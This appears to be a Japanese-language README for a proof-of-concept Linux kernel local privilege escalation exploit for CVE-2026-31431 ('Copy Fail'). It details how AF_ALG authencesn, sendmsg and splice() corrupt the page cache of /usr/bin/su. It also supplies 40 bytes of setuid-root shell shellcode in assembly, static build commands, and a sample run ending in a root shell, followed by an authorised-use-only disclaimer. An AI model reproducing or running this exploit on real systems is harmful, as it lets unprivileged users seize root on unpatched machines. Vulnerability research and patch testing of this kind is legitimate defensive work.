
CVE-2026-31431 (Copy Fail) PoC - authencesn AF_ALG と splice() による Linux カーネルのページキャッシュ破損
CVE-2026-31431(Copy Fail)のローカル権限昇格エクスプロイト(C言語製)。
PT_LOADプログラムヘッダを介して/usr/bin/suのエントリポイント仮想アドレスをファイルオフセットに解決しますauthencesn(hmac(sha256),cbc(aes))にバインドしますsendmsg()はMSG_MOREフラグ付きで、シェルコードバイトをseqno_lo(バイト4〜7)としてAADを送信しますsplice()はターゲットファイルのページキャッシュページの32バイトをAEAD認証タグとして配信しますrecv()は復号をトリガーし、authencesnのスクラッチ書き込みがチェーンされたページキャッシュページに到達し、4バイトの制御データを書き込みます。execl("/usr/bin/su")が破損したページキャッシュをロードします。40バイトのシェルコード(setuid(0) + execve("/bin/sh"))がsetuid-rootとして実行されますxor edi, edi ; uid = 0
mov eax, 105 ; sys_setuid
syscall
xor edx, edx ; envp = NULL
push rdx ; null terminator
movabs rax, "/bin/sh" ; "/bin/sh\0"
push rax
mov rdi, rsp ; filename
push rdx ; NULL (argv[1])
push rdi ; argv[0]
mov rsi, rsp ; argv
mov eax, 59 ; sys_execve
syscall
musl-gccまたは静的リンクをサポートする任意のCコンパイラが必要です:
musl-gcc -static -O2 -s -o copyfail exploit.c
またはGCC + glibcの場合:
gcc -static -O2 -s -o copyfail exploit.c
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)
この概念実証コードは、許可されたセキュリティ研究および教育目的のみで提供されています。所有していないシステムや明示的なテスト許可がないシステムへの不正使用は違法です。